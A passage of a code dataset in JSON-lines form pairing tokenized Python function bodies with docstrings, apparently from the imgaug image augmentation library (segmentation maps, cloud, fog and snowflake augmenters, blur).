segmap_drawn,<EOL><NUM_LIT:0>,<EOL><NUM_LIT:255><EOL>).astype(np.uint8)<EOL><DEDENT>else:<EOL><INDENT>foreground_mask = foreground_mask[..., np.newaxis]<EOL>mix = np.zeros_like(image)<EOL>mix += (~foreground_mask).astype(np.uint8) * image<EOL>mix += foreground_mask.astype(np.uint8) * np.clip(<EOL>(<NUM_LIT:1>-alpha) * image + alpha * segmap_drawn,<EOL><NUM_LIT:0>,<EOL><NUM_LIT:255><EOL>).astype(np.uint8)<EOL><DEDENT>return mix<EOL>", "docstring": "Draw the segmentation map as an overlay over an image.\n\nParameters\n----------\nimage : (H,W,3) ndarray\n    Image onto which to draw the segmentation map. Dtype is expected to be uint8.\n\nalpha : float, optional\n    Alpha/opacity value to use for the mixing of image and segmentation map.\n    Higher values mean that the segmentation map will be more visible and the image less visible.\n\nresize : {'segmentation_map', 'image'}, optional\n    In case of size differences between the image and segmentation map, either the image or\n    the segmentation map can be resized. This parameter controls which of the two will be\n    resized to the other's size.\n\nbackground_threshold : float, optional\n    See :func:`imgaug.SegmentationMapOnImage.get_arr_int`.\n\nbackground_class_id : None or int, optional\n    See :func:`imgaug.SegmentationMapOnImage.get_arr_int`.\n\ncolors : None or list of tuple of int, optional\n    Colors to use. One for each class to draw. If None, then default colors will be used.\n\ndraw_background : bool, optional\n    If True, the background will be drawn like any other class.\n    If False, the background will not be drawn, i.e. the respective background pixels\n    will be identical with the image's RGB color at the corresponding spatial location\n    and no color overlay will be applied.\n\nReturns\n-------\nmix : (H,W,3) ndarray\n    Rendered overlays (dtype is uint8).", "id": "f16283:c0:m3"}
{"signature": "def pad(self, top=<NUM_LIT:0>, right=<NUM_LIT:0>, bottom=<NUM_LIT:0>, left=<NUM_LIT:0>, mode=\"<STR_LIT>\", cval=<NUM_LIT:0.0>):", "body": "arr_padded = ia.pad(self.arr, top=top, right=right, bottom=bottom, left=left, mode=mode, cval=cval)<EOL>segmap = SegmentationMapOnImage(arr_padded, shape=self.shape)<EOL>segmap.input_was = self.input_was<EOL>return segmap<EOL>", "docstring": "Pad the segmentation map on its top/right/bottom/left side.\n\nParameters\n----------\ntop : int, optional\n    Amount of pixels to add at the top side of the segmentation map. Must be 0 or greater.\n\nright : int, optional\n    Amount of pixels to add at the right side of the segmentation map. Must be 0 or greater.\n\nbottom : int, optional\n    Amount of pixels to add at the bottom side of the segmentation map. Must be 0 or greater.\n\nleft : int, optional\n    Amount of pixels to add at the left side of the segmentation map. Must be 0 or greater.\n\nmode : str, optional\n    Padding mode to use. See :func:`numpy.pad` for details.\n\ncval : number, optional\n    Value to use for padding if `mode` is ``constant``. See :func:`numpy.pad` for details.\n\nReturns\n-------\nsegmap : imgaug.SegmentationMapOnImage\n    Padded segmentation map of height ``H'=H+top+bottom`` and width ``W'=W+left+right``.", "id": "f16283:c0:m4"}
{"signature": "def pad_to_aspect_ratio(self, aspect_ratio, mode=\"<STR_LIT>\", cval=<NUM_LIT:0.0>, return_pad_amounts=False):", "body": "arr_padded, pad_amounts = ia.pad_to_aspect_ratio(self.arr, aspect_ratio=aspect_ratio, mode=mode, cval=cval,<EOL>return_pad_amounts=True)<EOL>segmap = SegmentationMapOnImage(arr_padded, shape=self.shape)<EOL>segmap.input_was = self.input_was<EOL>if return_pad_amounts:<EOL><INDENT>return segmap, pad_amounts<EOL><DEDENT>else:<EOL><INDENT>return segmap<EOL><DEDENT>", "docstring": "Pad the segmentation map on its sides so that its matches a target aspect ratio.\n\nDepending on which dimension is smaller (height or width), only the corresponding\nsides (left/right or top/bottom) will be padded. In each case, both of the sides will\nbe padded equally.\n\nParameters\n----------\naspect_ratio : float\n    Target aspect ratio, given as width/height. E.g. 2.0 denotes the image having twice\n    as much width as height.\n\nmode : str, optional\n    Padding mode to use. See :func:`numpy.pad` for details.\n\ncval : number, optional\n    Value to use for padding if `mode` is ``constant``. See :func:`numpy.pad` for details.\n\nreturn_pad_amounts : bool, optional\n    If False, then only the padded image will be returned. If True, a tuple with two\n    entries will be returned, where the first entry is the padded image and the second\n    entry are the amounts by which each image side was padded. These amounts are again a\n    tuple of the form (top, right, bottom, left), with each value being an integer.\n\nReturns\n-------\nsegmap : imgaug.SegmentationMapOnImage\n    Padded segmentation map as SegmentationMapOnImage object.\n\npad_amounts : tuple of int\n    Amounts by which the segmentation map was padded on each side, given as a\n    tuple ``(top, right, bottom, left)``.\n    This tuple is only returned if `return_pad_amounts` was set to True.", "id": "f16283:c0:m5"}
{"signature": "def resize(self, sizes, interpolation=\"<STR_LIT>\"):", "body": "arr_resized = ia.imresize_single_image(self.arr, sizes, interpolation=interpolation)<EOL>arr_resized = np.clip(arr_resized, <NUM_LIT:0.0>, <NUM_LIT:1.0>)<EOL>segmap = SegmentationMapOnImage(arr_resized, shape=self.shape)<EOL>segmap.input_was = self.input_was<EOL>return segmap<EOL>", "docstring": "Resize the segmentation map array to the provided size given the provided interpolation.\n\nParameters\n----------\nsizes : float or iterable of int or iterable of float\n    New size of the array in ``(height, width)``.\n    See :func:`imgaug.imgaug.imresize_single_image` for details.\n\ninterpolation : None or str or int, optional\n    The interpolation to use during resize.\n    See :func:`imgaug.imgaug.imresize_single_image` for details.\n    Note: The segmentation map is internally stored as multiple float-based heatmaps,\n    making smooth interpolations potentially more reasonable than nearest neighbour\n    interpolation.\n\nReturns\n-------\nsegmap : imgaug.SegmentationMapOnImage\n    Resized segmentation map object.", "id": "f16283:c0:m7"}
{"signature": "def to_heatmaps(self, only_nonempty=False, not_none_if_no_nonempty=False):", "body": "<EOL>from imgaug.augmentables.heatmaps import HeatmapsOnImage<EOL>if not only_nonempty:<EOL><INDENT>return HeatmapsOnImage.from_0to1(self.arr, self.shape, min_value=<NUM_LIT:0.0>, max_value=<NUM_LIT:1.0>)<EOL><DEDENT>else:<EOL><INDENT>nonempty_mask = np.sum(self.arr, axis=(<NUM_LIT:0>, <NUM_LIT:1>)) > <NUM_LIT:0> + <NUM_LIT><EOL>if np.sum(nonempty_mask) == <NUM_LIT:0>:<EOL><INDENT>if not_none_if_no_nonempty:<EOL><INDENT>nonempty_mask[<NUM_LIT:0>] = True<EOL><DEDENT>else:<EOL><INDENT>return None, []<EOL><DEDENT><DEDENT>class_indices = np.arange(self.arr.shape[<NUM_LIT:2>])[nonempty_mask]<EOL>channels = self.arr[..., class_indices]<EOL>return HeatmapsOnImage(channels, self.shape, min_value=<NUM_LIT:0.0>, max_value=<NUM_LIT:1.0>), class_indices<EOL><DEDENT>", "docstring": "Convert segmentation map to heatmaps object.\n\nEach segmentation map class will be represented as a single heatmap channel.\n\nParameters\n----------\nonly_nonempty : bool, optional\n    If True, then only heatmaps for classes that appear in the segmentation map will be\n    generated. Additionally, a list of these class ids will be returned.\n\nnot_none_if_no_nonempty : bool, optional\n    If `only_nonempty` is True and for a segmentation map no channel was non-empty,\n    this function usually returns None as the heatmaps object. If however this parameter\n    is set to True, a heatmaps object with one channel (representing class 0)\n    will be returned as a fallback in these cases.\n\nReturns\n-------\nimgaug.HeatmapsOnImage or None\n    Segmentation map as a heatmaps object.\n    If `only_nonempty` was set to True and no class appeared in the segmentation map,\n    then this is None.\n\nclass_indices : list of int\n    Class ids (0 to C-1) of the classes that were actually added to the heatmaps.\n    Only returned if `only_nonempty` was set to True.", "id": "f16283:c0:m8"}
{"signature": "@staticmethod<EOL><INDENT>def from_heatmaps(heatmaps, class_indices=None, nb_classes=None):<DEDENT>", "body": "if class_indices is None:<EOL><INDENT>return SegmentationMapOnImage(heatmaps.arr_0to1, shape=heatmaps.shape)<EOL><DEDENT>else:<EOL><INDENT>ia.do_assert(nb_classes is not None)<EOL>ia.do_assert(min(class_indices) >= <NUM_LIT:0>)<EOL>ia.do_assert(max(class_indices) < nb_classes)<EOL>ia.do_assert(len(class_indices) == heatmaps.arr_0to1.shape[<NUM_LIT:2>])<EOL>arr_0to1 = heatmaps.arr_0to1<EOL>arr_0to1_full = np.zeros((arr_0to1.shape[<NUM_LIT:0>], arr_0to1.shape[<NUM_LIT:1>], nb_classes), dtype=np.float32)<EOL>for heatmap_channel, mapped_channel in enumerate(class_indices):<EOL><INDENT>arr_0to1_full[:, :, mapped_channel] = arr_0to1[:, :, heatmap_channel]<EOL><DEDENT>return SegmentationMapOnImage(arr_0to1_full, shape=heatmaps.shape)<EOL><DEDENT>", "docstring": "Convert heatmaps to segmentation map.\n\nAssumes that each class is represented as a single heatmap channel.\n\nParameters\n----------\nheatmaps : imgaug.HeatmapsOnImage\n    Heatmaps to convert.\n\nclass_indices : None or list of int, optional\n    List of class indices represented by each heatmap channel. See also the\n    secondary output of :func:`imgaug.SegmentationMapOnImage.to_heatmap`.\n    If this is provided, it must have the same length as the number of heatmap channels.\n\nnb_classes : None or int, optional\n    Number of classes. Must be provided if class_indices is set.\n\nReturns\n-------\nimgaug.SegmentationMapOnImage\n    Segmentation map derived from heatmaps.", "id": "f16283:c0:m9"}
{"signature": "def copy(self):", "body": "return self.deepcopy()<EOL>", "docstring": "Create a shallow copy of the segmentation map object.\n\nReturns\n-------\nimgaug.SegmentationMapOnImage\n    Shallow copy.", "id": "f16283:c0:m10"}
{"signature": "def deepcopy(self):", "body": "segmap = SegmentationMapOnImage(self.arr, shape=self.shape, nb_classes=self.nb_classes)<EOL>segmap.input_was = self.input_was<EOL>return segmap<EOL>", "docstring": "Create a deep copy of the segmentation map object.\n\nReturns\n-------\nimgaug.SegmentationMapOnImage\n    Deep copy.", "id": "f16283:c0:m11"}
{"signature": "def Clouds(name=None, deterministic=False, random_state=None):", "body": "if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return meta.SomeOf((<NUM_LIT:1>, <NUM_LIT:2>), children=[<EOL>CloudLayer(<EOL>intensity_mean=(<NUM_LIT>, <NUM_LIT:255>), intensity_freq_exponent=(-<NUM_LIT>, -<NUM_LIT>), intensity_coarse_scale=<NUM_LIT:10>,<EOL>alpha_min=<NUM_LIT:0>, alpha_multiplier=(<NUM_LIT>, <NUM_LIT>), alpha_size_px_max=(<NUM_LIT:2>, <NUM_LIT:8>), alpha_freq_exponent=(-<NUM_LIT>, -<NUM_LIT>),<EOL>sparsity=(<NUM_LIT>, <NUM_LIT:1.0>), density_multiplier=(<NUM_LIT:0.5>, <NUM_LIT:1.0>)<EOL>),<EOL>CloudLayer(<EOL>intensity_mean=(<NUM_LIT>, <NUM_LIT:255>), intensity_freq_exponent=(-<NUM_LIT>, -<NUM_LIT:1.0>), intensity_coarse_scale=<NUM_LIT:10>,<EOL>alpha_min=<NUM_LIT:0>, alpha_multiplier=(<NUM_LIT:0.5>, <NUM_LIT:1.0>), alpha_size_px_max=(<NUM_LIT:64>, <NUM_LIT>), alpha_freq_exponent=(-<NUM_LIT>, -<NUM_LIT:1.0>),<EOL>sparsity=(<NUM_LIT:1.0>, <NUM_LIT>), density_multiplier=(<NUM_LIT>, <NUM_LIT>)<EOL>)<EOL>], random_order=False, name=name, deterministic=deterministic, random_state=random_state)<EOL>", "docstring": "Augmenter to draw clouds in images.\n\nThis is a wrapper around ``CloudLayer``. It executes 1 to 2 layers per image, leading to varying densities\nand frequency patterns of clouds.\n\nThis augmenter seems to be fairly robust w.r.t. the image size. Tested with ``96x128``, ``192x256``\nand ``960x1280``.\n\ndtype support::\n\n    * ``uint8``: yes; tested\n    * ``uint16``: no (1)\n    * ``uint32``: no (1)\n    * ``uint64``: no (1)\n    * ``int8``: no (1)\n    * ``int16``: no (1)\n    * ``int32``: no (1)\n    * ``int64``: no (1)\n    * ``float16``: no (1)\n    * ``float32``: no (1)\n    * ``float64``: no (1)\n    * ``float128``: no (1)\n    * ``bool``: no (1)\n\n    - (1) Parameters of this augmenter are optimized for the value range of uint8.\n          While other dtypes may be accepted, they will lead to images augmented in\n          ways inappropriate for the respective dtype.\n\nParameters\n----------\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Clouds()\n\nCreates an augmenter that adds clouds to images.", "id": "f16284:m0"}
{"signature": "def Fog(name=None, deterministic=False, random_state=None):", "body": "if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>return CloudLayer(<EOL>intensity_mean=(<NUM_LIT>, <NUM_LIT:255>), intensity_freq_exponent=(-<NUM_LIT>, -<NUM_LIT>), intensity_coarse_scale=<NUM_LIT:2>,<EOL>alpha_min=(<NUM_LIT>, <NUM_LIT>), alpha_multiplier=<NUM_LIT>, alpha_size_px_max=(<NUM_LIT:2>, <NUM_LIT:8>), alpha_freq_exponent=(-<NUM_LIT>, -<NUM_LIT>),<EOL>sparsity=<NUM_LIT>, density_multiplier=(<NUM_LIT>, <NUM_LIT>),<EOL>name=name, deterministic=deterministic, random_state=random_state<EOL>)<EOL>", "docstring": "Augmenter to draw fog in images.\n\nThis is a wrapper around ``CloudLayer``. It executes a single layer per image with a configuration leading\nto fairly dense clouds with low-frequency patterns.\n\nThis augmenter seems to be fairly robust w.r.t. the image size. Tested with ``96x128``, ``192x256``\nand ``960x1280``.\n\ndtype support::\n\n    * ``uint8``: yes; tested\n    * ``uint16``: no (1)\n    * ``uint32``: no (1)\n    * ``uint64``: no (1)\n    * ``int8``: no (1)\n    * ``int16``: no (1)\n    * ``int32``: no (1)\n    * ``int64``: no (1)\n    * ``float16``: no (1)\n    * ``float32``: no (1)\n    * ``float64``: no (1)\n    * ``float128``: no (1)\n    * ``bool``: no (1)\n\n    - (1) Parameters of this augmenter are optimized for the value range of uint8.\n          While other dtypes may be accepted, they will lead to images augmented in\n          ways inappropriate for the respective dtype.\n\nParameters\n----------\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Fog()\n\nCreates an augmenter that adds fog to images.", "id": "f16284:m1"}
{"signature": "def Snowflakes(density=(<NUM_LIT>, <NUM_LIT>), density_uniformity=(<NUM_LIT>, <NUM_LIT>), flake_size=(<NUM_LIT>, <NUM_LIT>),<EOL>flake_size_uniformity=(<NUM_LIT>, <NUM_LIT>), angle=(-<NUM_LIT:30>, <NUM_LIT:30>), speed=(<NUM_LIT>, <NUM_LIT>),<EOL>name=None, deterministic=False, random_state=None):", "body": "if name is None:<EOL><INDENT>name = \"<STR_LIT>\" % (ia.caller_name(),)<EOL><DEDENT>layer = SnowflakesLayer(<EOL>density=density, density_uniformity=density_uniformity,<EOL>flake_size=flake_size, flake_size_uniformity=flake_size_uniformity,<EOL>angle=angle, speed=speed,<EOL>blur_sigma_fraction=(<NUM_LIT>, <NUM_LIT>)<EOL>)<EOL>return meta.SomeOf(<EOL>(<NUM_LIT:1>, <NUM_LIT:3>), children=[layer.deepcopy() for _ in range(<NUM_LIT:3>)],<EOL>random_order=False, name=name, deterministic=deterministic, random_state=random_state<EOL>)<EOL>", "docstring": "Augmenter to add falling snowflakes to images.\n\nThis is a wrapper around ``SnowflakesLayer``. It executes 1 to 3 layers per image.\n\ndtype support::\n\n    * ``uint8``: yes; tested\n    * ``uint16``: no (1)\n    * ``uint32``: no (1)\n    * ``uint64``: no (1)\n    * ``int8``: no (1)\n    * ``int16``: no (1)\n    * ``int32``: no (1)\n    * ``int64``: no (1)\n    * ``float16``: no (1)\n    * ``float32``: no (1)\n    * ``float64``: no (1)\n    * ``float128``: no (1)\n    * ``bool``: no (1)\n\n    - (1) Parameters of this augmenter are optimized for the value range of uint8.\n          While other dtypes may be accepted, they will lead to images augmented in\n          ways inappropriate for the respective dtype.\n\nParameters\n----------\ndensity : number or tuple of number or list of number or imgaug.parameters.StochasticParameter\n    Density of the snowflake layer, as a probability of each pixel in low resolution space to be a snowflake.\n    Valid value range is ``(0.0, 1.0)``. Recommended to be around ``(0.01, 0.075)``.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the continuous range ``[a, b]`` will be used.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\ndensity_uniformity : number or tuple of number or list of number or imgaug.parameters.StochasticParameter\n    Size uniformity of the snowflakes. Higher values denote more similarly sized snowflakes.\n    Valid value range is ``(0.0, 1.0)``. Recommended to be around ``0.5``.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the continuous range ``[a, b]`` will be used.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nflake_size : number or tuple of number or list of number or imgaug.parameters.StochasticParameter\n    Size of the snowflakes. This parameter controls the resolution at which snowflakes are sampled.\n    Higher values mean that the resolution is closer to the input image's resolution and hence each sampled\n    snowflake will be smaller (because of the smaller pixel size).\n\n    Valid value range is ``[0.0, 1.0)``. Recommended values:\n\n        * On ``96x128`` a value of ``(0.1, 0.4)`` worked well.\n        * On ``192x256`` a value of ``(0.2, 0.7)`` worked well.\n        * On ``960x1280`` a value of ``(0.7, 0.95)`` worked well.\n\n    Allowed datatypes:\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the continuous range ``[a, b]`` will be used.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nflake_size_uniformity : number or tuple of number or list of number or imgaug.parameters.StochasticParameter\n    Controls the size uniformity of the snowflakes. Higher values mean that the snowflakes are more similarly\n    sized. Valid value range is ``(0.0, 1.0)``. Recommended to be around ``0.5``.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the continuous range ``[a, b]`` will be used.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nangle : number or tuple of number or list of number or imgaug.parameters.StochasticParameter\n    Angle in degrees of motion blur applied to the snowflakes, where ``0.0`` is motion blur that points straight\n    upwards. Recommended to be around ``(-30, 30)``.\n    See also :func:`imgaug.augmenters.blur.MotionBlur.__init__`.\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the continuous range ``[a, b]`` will be used.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nspeed : number or tuple of number or list of number or imgaug.parameters.StochasticParameter\n    Perceived falling speed of the snowflakes. This parameter controls the motion blur's kernel size.\n    It follows roughly the form ``kernel_size = image_size * speed``. Hence,\n    Values around ``1.0`` denote that the motion blur should \"stretch\" each snowflake over the whole image.\n\n    Valid value range is ``(0.0, 1.0)``. Recommended values:\n\n        * On ``96x128`` a value of ``(0.01, 0.05)`` worked well.\n        * On ``192x256`` a value of ``(0.007, 0.03)`` worked well.\n        * On ``960x1280`` a value of ``(0.001, 0.03)`` worked well.\n\n\n    Allowed datatypes:\n\n        * If a number, then that value will be used for all images.\n        * If a tuple ``(a, b)``, then a value from the continuous range ``[a, b]`` will be used.\n        * If a list, then a random value will be sampled from that list per image.\n        * If a StochasticParameter, then a value will be sampled per image from that parameter.\n\nname : None or str, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\ndeterministic : bool, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nrandom_state : None or int or numpy.random.RandomState, optional\n    See :func:`imgaug.augmenters.meta.Augmenter.__init__`.\n\nExamples\n--------\n>>> aug = iaa.Snowflakes(flake_size=(0.1, 0.4), speed=(0.01, 0.05))\n\nAdds snowflakes to small images (around ``96x128``).\n\n>>> aug = iaa.Snowflakes(flake_size=(0.2, 0.7), speed=(0.007, 0.03))\n\nAdds snowflakes to medium-sized images (around ``192x256``).\n\n>>> aug = iaa.Snowflakes(flake_size=(0.7, 0.95), speed=(0.001, 0.03))\n\nAdds snowflakes to large images (around ``960x1280``).", "id": "f16284:m2"}
{"signature": "@classmethod<EOL><INDENT>def map_coordinates(cls, image, dx, dy, order=<NUM_LIT:1>, cval=<NUM_LIT:0>, mode=\"<STR_LIT>\"):<DEDENT>", "body": "if order == <NUM_LIT:0> and image.dtype.name in [\"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>raise Exception((\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (order, image.dtype.name))<EOL><DEDENT>input_dtype = image.dtype<EOL>if image.dtype.name == \"<STR_LIT:bool>\":<EOL><INDENT>image = image.astype(np.float32)<EOL><DEDENT>elif order == <NUM_LIT:1> and image.dtype.name in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]:<EOL><INDENT>image = image.astype(np.float64)<EOL><DEDENT>elif order >= <NUM_LIT:2> and image.dtype.name == \"<STR_LIT>\":<EOL><INDENT>image = image.astype(np.int16)<EOL><DEDENT>elif order >= <NUM_LIT:2> and image.dtype.name == \"<STR_LIT>\":<EOL><INDENT>image = image.astype(np.float64)<EOL><DEDENT>shrt_max = <NUM_LIT><EOL>backend = \"<STR_LIT>\"<EOL>if order == <NUM_LIT:0>:<EOL><INDENT>bad_dtype_cv2 = (image.dtype.name in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:bool>\"])<EOL><DEDENT>elif order == <NUM_LIT:1>:<EOL><INDENT>bad_dtype_cv2 = (image.dtype.name in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT:bool>\"])<EOL><DEDENT>else:<EOL><INDENT>bad_dtype_cv2 = (image.dtype.name in [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT:bool>\"])<EOL><DEDENT>bad_dx_shape_cv2 = (dx.shape[<NUM_LIT:0>] >= shrt_max or dx.shape[<NUM_LIT:1>] >= shrt_max)<EOL>bad_dy_shape_cv2 = (dy.shape[<NUM_LIT:0>] >= shrt_max or dy.shape[<NUM_LIT:1>] >= shrt_max)<EOL>if bad_dtype_cv2 or bad_dx_shape_cv2 or bad_dy_shape_cv2:<EOL><INDENT>backend = \"<STR_LIT>\"<EOL><DEDENT>ia.do_assert(image.ndim == <NUM_LIT:3>)<EOL>result = np.copy(image)<EOL>height, width = image.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>if backend == \"<STR_LIT>\":<EOL><INDENT>h, w = image.shape[<NUM_LIT:0>:<NUM_LIT:2>]<EOL>y, x = np.meshgrid(np.arange(h).astype(np.float32), np.arange(w).astype(np.float32), indexing='<STR_LIT>')<EOL>x_shifted = x + (-<NUM_LIT:1>) * dx<EOL>y_shifted = y + (-<NUM_LIT:1>) * dy<EOL>for c in sm.xrange(image.shape[<NUM_LIT:2>]):<EOL><INDENT>remapped_flat = ndimage.interpolation.map_coordinates(<EOL>image[..., c],<EOL>(y_shifted.flatten(), x_shifted.flatten()),<EOL>order=order,<EOL>cval=cval,<EOL>mode=mode<EOL>)<EOL>remapped = remapped_flat.reshape((height, width))<EOL>result[..., c] = remapped<EOL><DEDENT><DEDENT>else:<EOL><INDENT>h, w, nb_channels = image.shape<EOL>y, x = np.meshgrid(np.arange(h).astype(np.float32), np.arange(w).astype(np.float32), indexing='<STR_LIT>')<EOL>x_shifted = x + (-<NUM_LIT:1>) * dx<EOL>y_shifted = y + (-<NUM_LIT:1>) * dy<EOL>if image.dtype.kind == \"<STR_LIT:f>\":<EOL><INDENT>cval = float(cval)<EOL><DEDENT>else:<EOL><INDENT>cval = int(cval)<EOL><DEDENT>border_mode = cls._MAPPING_MODE_SCIPY_CV2[mode]<EOL>interpolation = cls._MAPPING_ORDER_SCIPY_CV2[order]<EOL>is_nearest_neighbour = (interpolation == cv2.INTER_NEAREST)<EOL>map1, map2 = cv2.convertMaps(x_shifted, y_shifted, cv2.CV_16SC2, nninterpolation=is_nearest_neighbour)<EOL>if nb_channels <= <NUM_LIT:4>:<EOL><INDENT>result = cv2.remap(image, map1, map2, interpolation=interpolation, borderMode=border_mode, borderValue=cval)<EOL>if image.ndim == <NUM_LIT:3> and result.ndim == <NUM_LIT:2>:<EOL><INDENT>result = result[..., np.newaxis]<EOL><DEDENT><DEDENT>else:<EOL><INDENT>current_chan_idx = <NUM_LIT:0><EOL>result = []<EOL>while current_chan_idx < nb_channels:<EOL><INDENT>channels = image[..., current_chan_idx:current_chan_idx+<NUM_LIT:4>]<EOL>result_c =  cv2.remap(channels, map1, map2, interpolation=interpolation, borderMode=border_mode,<EOL>borderValue=cval)<EOL>if result_c.ndim == <NUM_LIT:2>:<EOL><INDENT>result_c = result_c[..., np.newaxis]<EOL><DEDENT>result.append(result_c)<EOL>current_chan_idx += <NUM_LIT:4><EOL><DEDENT>result = np.concatenate(result, axis=<NUM_LIT:2>)<EOL><DEDENT><DEDENT>if result.dtype.name != input_dtype.name:<EOL><INDENT>result = iadt.restore_dtypes_(result, input_dtype)<EOL><DEDENT>return result<EOL>", "docstring": "backend=\"scipy\"\n\n    order=0\n        * uint8: yes\n        * uint16: yes\n        * uint32: yes\n        * uint64: no (produces array filled with only 0)\n        * int8: yes\n        * int16: yes\n        * int32: yes\n        * int64: no (produces array filled with <min_value> when testing with <max_value>)\n        * float16: yes\n        * float32: yes\n        * float64: yes\n        * float128: no (causes: 'data type no supported')\n        * bool: yes\n\n    order=1 to 5\n        * uint*, int*: yes (rather loose test, to avoid having to re-compute the interpolation)\n        * float16 - float64: yes (rather loose test, to avoid having to re-compute the interpolation)\n        * float128: no (causes: 'data type no supported')\n        * bool: yes\n\nbackend=\"cv2\"\n\n    order=0\n        * uint8: yes\n        * uint16: yes\n        * uint32: no (causes: src data type = 6 is not supported)\n        * uint64: no (silently converts to int32)\n        * int8: yes\n        * int16: yes\n        * int32: yes\n        * int64: no (silently converts to int32)\n        * float16: yes\n        * float32: yes\n        * float64: yes\n        * float128: no (causes: src data type = 13 is not supported)\n        * bool: no (causes: src data type = 0 is not supported)\n\n    order=1\n        * uint8: yes\n        * uint16: yes\n        * uint32: no (causes: src data type = 6 is not supported)\n        * uint64: no (causes: OpenCV(3.4.5) (...)/imgwarp.cpp:1805: error: (-215:Assertion failed) ifunc != 0\n          in function 'remap')\n        * int8: no (causes: OpenCV(3.4.5) (...)/imgwarp.cpp:1805: error: (-215:Assertion failed) ifunc != 0\n          in function 'remap')\n        * int16: no (causes: OpenCV(3.4.5) (...)/imgwarp.cpp:1805: error: (-215:Assertion failed) ifunc != 0\n          in function 'remap')\n        * int32: no (causes: OpenCV(3.4.5) (...)/imgwarp.cpp:1805: error: (-215:Assertion failed) ifunc != 0\n          in function 'remap')\n        * int64: no (causes: OpenCV(3.4.5) (...)/imgwarp.cpp:1805: error: (-215:Assertion failed) ifunc != 0\n          in function 'remap')\n        * float16: yes\n        * float32: yes\n        * float64: yes\n        * float128: no (causes: src data type = 13 is not supported)\n        * bool: no (causes: src data type = 0 is not supported)\n\n    order=2 to 5:\n        as order=1, but int16 supported", "id": "f16285:c4:m8"}
{"signature": "def blur_gaussian_(image, sigma, ksize=None, backend=\"<STR_LIT>\", eps=<NUM_LIT>):", "body": "if sigma > <NUM_LIT:0> + eps:<EOL><INDENT>dtype = image.dtype<EOL>iadt.gate_dtypes(image,<EOL>allowed=[\"<STR_LIT:bool>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>disallowed=[\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\",<EOL>\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"],<EOL>augmenter=None)<EOL>dts_not_supported_by_cv2 = [\"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\", \"<STR_LIT>\"]<EOL>backend_to_use = backend<EOL>if backend == \"<STR_LIT>\":<EOL><INDENT>backend_to_use = \"<STR_LIT>\" if image.dtype.name not in dts_not_supported_by_cv2 else \"<STR_LIT>\"<EOL><DEDENT>elif backend == \"<STR_LIT>\":<EOL><INDENT>assert image.dtype.name not in dts_not_supported_by_cv2,(\"<STR_LIT>\"<EOL>+ \"<STR_LIT>\"<EOL>+ \"<STR_LIT>\") % (image.dtype.name,)<EOL><DEDENT>elif backend == \"<STR_LIT>\":<EOL><INDENT>pass<EOL><DEDENT>if backend_to_use == \"<STR_LIT>\":<EOL><INDENT>if dtype.name == \"<STR_LIT:bool>\":<EOL><INDENT>image = image.astype(np.float32, copy=False)<EOL><DEDENT>elif dtype.name == \"<STR_LIT>\":<EOL><INDENT>image = image.astype(np.float32, copy=False)<EOL><DEDENT>if ksize is not None:<EOL><INDENT>warnings.warn(\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>if image.ndim == <NUM_LIT:2>:<EOL><INDENT>image[:, :] = ndimage.gaussian_filter(image[:, :], sigma, mode=\"<STR_LIT>\")<EOL><DEDENT>else:<EOL><INDENT>nb_channels = image.shape[<NUM_LIT:2>]<EOL>for channel in sm.xrange(nb_channels):<EOL><INDENT>image[:, :, channel] = 